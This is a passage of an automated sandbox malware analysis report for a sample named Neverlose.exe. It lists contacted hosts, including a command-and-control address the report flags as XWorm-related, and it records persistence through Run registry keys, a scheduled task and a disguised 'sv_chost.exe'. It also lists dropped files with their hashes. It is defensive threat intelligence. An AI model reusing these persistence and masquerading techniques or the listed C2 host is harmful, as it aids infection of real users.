https://github.githubassets.com/assets/notifications-global-3ddac678adaf.js	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/app_assets_modules_github_onfocus_ts-ui_packages_trusted-type	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://github.com	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002ED1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/features/actions	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/dark-6b1e37da2254.css	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/environment-4a62f2832289.js	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/error-add24e2c1056.css	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_anchored-posit	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000013.00000002.2505980870.00000204A9AAB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/features/copilot	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_module	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/dark_high_contrast-f4daad25d8cf.css	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micft.cMicRosof	powershell.exe, 0000000D.00000002.2060250567.0000024348BC5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/light-efd2f2257c96.css	SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_m	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/behaviors-3b4c83250375.js	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/dark_tritanopia-1911f0cf0db4.css	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.githubassets.com/assets/sessions-f096195f32d8.js	SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1774478794.0000000003E3F000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000002.1772665613.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
147.185.221.22	22.ip.gl.ply.gg	United States	12087	SALSGIVERUS	true
140.82.121.4	github.com	United States	36459	GITHUBUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1498483
Start date and time:	2024-08-24 21:54:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Neverlose.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@29/31@4/3
EGA Information:	Successful, ratio: 23.1%
HCA Information:	Successful, ratio: 71% Number of executed functions: 210 Number of non-executed functions: 14
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Solara.exe, PID 7664 because it is empty
Execution Graph export aborted for target Solara.exe, PID 7980 because it is empty
Execution Graph export aborted for target SolaraBootstrapper.exe, PID 7200 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4312 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7388 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7832 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8064 because it is empty
Execution Graph export aborted for target sv_chost.exe, PID 7460 because it is empty
Execution Graph export aborted for target sv_chost.exe, PID 7624 because it is empty
Execution Graph export aborted for target sv_chost.exe, PID 7780 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:54:58	API Interceptor	82x Sleep call for process: powershell.exe modified
15:55:04	API Interceptor	16x Sleep call for process: SolaraBootstrapper.exe modified
15:56:25	API Interceptor	26x Sleep call for process: Solara.exe modified
20:55:06	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Solara C:\Users\user\AppData\Local\Temp\Solara.exe
20:55:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Solara C:\Users\user\AppData\Local\Temp\Solara.exe
20:56:27	Task Scheduler	Run new task: sv_chost path: C:\Users\user\AppData\Roaming\sv_chost.exe
20:56:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run sv_chost C:\Users\user\AppData\Roaming\sv_chost.exe
20:56:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run sv_chost C:\Users\user\AppData\Roaming\sv_chost.exe
20:56:45	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sv_chost.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.199.109.133	Electronic_Receipt_ATT0001.htm	Get hash	malicious	HTMLPhisher	Browse
	https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org	Get hash	malicious	HTMLPhisher	Browse
	https://email.kmotortraiesde.com/	Get hash	malicious	Unknown	Browse
	FlashUpdates.js	Get hash	malicious	Unknown	Browse
	http://dineshramgovindaraj.github.io/netflix	Get hash	malicious	Unknown	Browse
	https://q68o.giantrype.com/8BSXIBCv/	Get hash	malicious	Tycoon2FA	Browse
	https://q68o.giantrype.com/8BSXIBCv/	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	l6UA0MG4eo.exe	Get hash	malicious	Unknown	Browse
	V58VVR64wc.exe	Get hash	malicious	Unknown	Browse
	Lhz7Qbbaap.exe	Get hash	malicious	Unknown	Browse
147.185.221.22	Solara.exe	Get hash	malicious	XWorm	Browse
	XClient.exe	Get hash	malicious	XWorm	Browse
	dsjjzgRwZe.exe	Get hash	malicious	Njrat	Browse
	22.08.2024.exe	Get hash	malicious	Xmrig	Browse
	SolaraBootstrapper.exe	Get hash	malicious	XWorm	Browse
140.82.121.4	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	N8LgG4xO0F.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	185.199.111.133
	SecuriteInfo.com.Win64.Evo-gen.11830.19095.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	185.199.108.133
	FlashUpdates.js	Get hash	malicious	Unknown	Browse	185.199.109.133
	1U34vTVJ97.pdf	Get hash	malicious	Unknown	Browse	185.199.110.133
	Ld0f3NDosJ.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	OD8uS0ksdv.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	OD8uS0ksdv.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	Y1e7n1NMkI.exe	Get hash	malicious	Coinhive	Browse	185.199.110.133
	lEzFKwZJRA.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	PSZIOD9wM7.exe	Get hash	malicious	LummaC, Go Injector	Browse	185.199.110.133
github.com	Electronic_Receipt_ATT0001.htm	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	5c683657-3d2b-5cd5-b372-9be474a3f97e.eml	Get hash	malicious	Unknown	Browse	140.82.112.3
	https://github.com/rakeshcorp/sandbox-samples.git	Get hash	malicious	Unknown	Browse	140.82.121.4
22.ip.gl.ply.gg	Solara.exe	Get hash	malicious	XWorm	Browse	147.185.221.22

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	file.exe	Get hash	malicious	Python Stealer, Amadey, Cryptbot, Monster Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	185.199.111.133
	https://www.wita.org/wp-login.php?action=rp&key=WIXXf8mMVxmBCgiJjzdZ&login=lfair%40USChamber.com	Get hash	malicious	Unknown	Browse	151.101.195.9
	N8LgG4xO0F.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	185.199.111.133
	SecuriteInfo.com.Win64.Evo-gen.11830.19095.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	185.199.108.133
	http://janecreativetileimp.wordpress.com/	Get hash	malicious	Unknown	Browse	151.101.193.74
	https://view.officecloudenterprise.com/jwlswke	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://new-update-108047.weeblysite.com/	Get hash	malicious	Unknown	Browse	151.101.129.46
	https://att-customer-service-109909.weeblysite.com/	Get hash	malicious	Unknown	Browse	151.101.129.46
	https://7667lghjgfmank85387sg387sfyruk53k538gfm.weeblysite.com/	Get hash	malicious	Unknown	Browse	151.101.129.46
	https://cathymanns101.wixsite.com/my-site-1	Get hash	malicious	HTMLPhisher	Browse	199.232.188.157
GITHUBUS	file.exe	Get hash	malicious	Python Stealer, Amadey, Cryptbot, Monster Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse	140.82.121.3
	https://google-check.github.io/home/	Get hash	malicious	Unknown	Browse	140.82.112.18
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	5c683657-3d2b-5cd5-b372-9be474a3f97e.eml	Get hash	malicious	Unknown	Browse	140.82.112.3
	SecuriteInfo.com.Trojan.Siggen21.45671.28064.9687.exe	Get hash	malicious	Unknown	Browse	140.82.112.22
	SecuriteInfo.com.Trojan.Siggen21.45671.28064.9687.exe	Get hash	malicious	Unknown	Browse	140.82.112.21
	https://email.kmotortraiesde.com/	Get hash	malicious	Unknown	Browse	140.82.121.6
	https://anurenjm.github.io/NetflixClone	Get hash	malicious	HTMLPhisher	Browse	140.82.114.18
	1U34vTVJ97.pdf	Get hash	malicious	Unknown	Browse	140.82.121.6
SALSGIVERUS	Solara.exe	Get hash	malicious	XWorm	Browse	147.185.221.22
	XClient.exe	Get hash	malicious	XWorm	Browse	147.185.221.22
	dsjjzgRwZe.exe	Get hash	malicious	Njrat	Browse	147.185.221.22
	22.08.2024.exe	Get hash	malicious	Xmrig	Browse	147.185.221.19
	Scan0030930930-pdf.js	Get hash	malicious	XWorm	Browse	147.185.221.21
	7shCdgBtEW.exe	Get hash	malicious	Nanocore	Browse	147.185.221.19
	testt.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	147.185.221.225
	SolaraBootstrapper.exe	Get hash	malicious	XWorm	Browse	147.185.221.22
	iZ5oERbgGB.exe	Get hash	malicious	Njrat	Browse	147.185.221.20
	file.exe	Get hash	malicious	XWorm	Browse	147.185.221.20

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	OnlineCrack_IDM.hta	Get hash	malicious	Unknown	Browse	185.199.109.133 140.82.121.4
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.199.109.133 140.82.121.4
	oBHZZU8EYd.exe	Get hash	malicious	Blank Grabber, DCRat, PureLog Stealer, Umbral Stealer, zgRAT	Browse	185.199.109.133 140.82.121.4
	pxkGBmsm1Y.exe	Get hash	malicious	DCRat	Browse	185.199.109.133 140.82.121.4
	https://www.wita.org/wp-login.php?action=rp&key=WIXXf8mMVxmBCgiJjzdZ&login=lfair%40USChamber.com	Get hash	malicious	Unknown	Browse	185.199.109.133 140.82.121.4
	file.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	185.199.109.133 140.82.121.4
	Order number HMFZ0772 [Order].exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.199.109.133 140.82.121.4
	http://329e60-b9.myshopify.com/_t/c/A1020004-17EE30B00427829D-68C1B5C3/	Get hash	malicious	Unknown	Browse	185.199.109.133 140.82.121.4
	http://y8oj.tonetrau.com	Get hash	malicious	Unknown	Browse	185.199.109.133 140.82.121.4
	http://sp.zhabite.com/market/search/	Get hash	malicious	Unknown	Browse	185.199.109.133 140.82.121.4

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\Solara.exe	Solara.exe	Get hash	malicious	XWorm	Browse
C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Vjy8d2EoqK.exe	Get hash	malicious	Blank Grabber, DCRat, XWorm	Browse
	RdJ73GU3N1.exe	Get hash	malicious	Njrat	Browse
	SolaraBootstrapper.exe	Get hash	malicious	DCRat, XWorm	Browse
	QIjBj1l8We.exe	Get hash	malicious	Blank Grabber	Browse
	6tGWMkdYv4.exe	Get hash	malicious	Blank Grabber	Browse
C:\Users\user\AppData\Roaming\sv_chost.exe	Solara.exe	Get hash	malicious	XWorm	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Solara.exe.log

Process:	C:\Users\user\AppData\Local\Temp\Solara.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sv_chost.exe.log

Process:	C:\Users\user\AppData\Roaming\sv_chost.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Neverlose.exe.log

Process:	C:\Users\user\Desktop\Neverlose.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SolaraBootstrapper.exe.log

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	954
Entropy (8bit):	5.350970057955659
Encrypted:	false
SSDEEP:	24:ML9E4KLE4KnKDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKLHKnYHKh3oPtHo6hAHKzeR
MD5:	3CE64235B0821B76294C3AD95F117E6C
SHA1:	FD1EC471493CE132D0D719A9771739912BEF91BF
SHA-256:	C5348C9009777CDF6C5CBD5D767A400932C0E1FA95F49DF8E797685754790850
SHA-512:	DA80BE8655187998EB5425EC801E352C386891991A4575811DE365DFD38B1325DE95A540953EC6E9305E74B1A0560968729D742A01198540CFCC166635F104C5
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.IO.Compression.FileSystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\Log.tmp

Process:	C:\Users\user\AppData\Local\Temp\Solara.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	41
Entropy (8bit):	3.7195394315431693
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsr4rNrn:EFYJKDoWrcBn
MD5:	0DB526D48DAB0E640663E4DC0EFE82BA
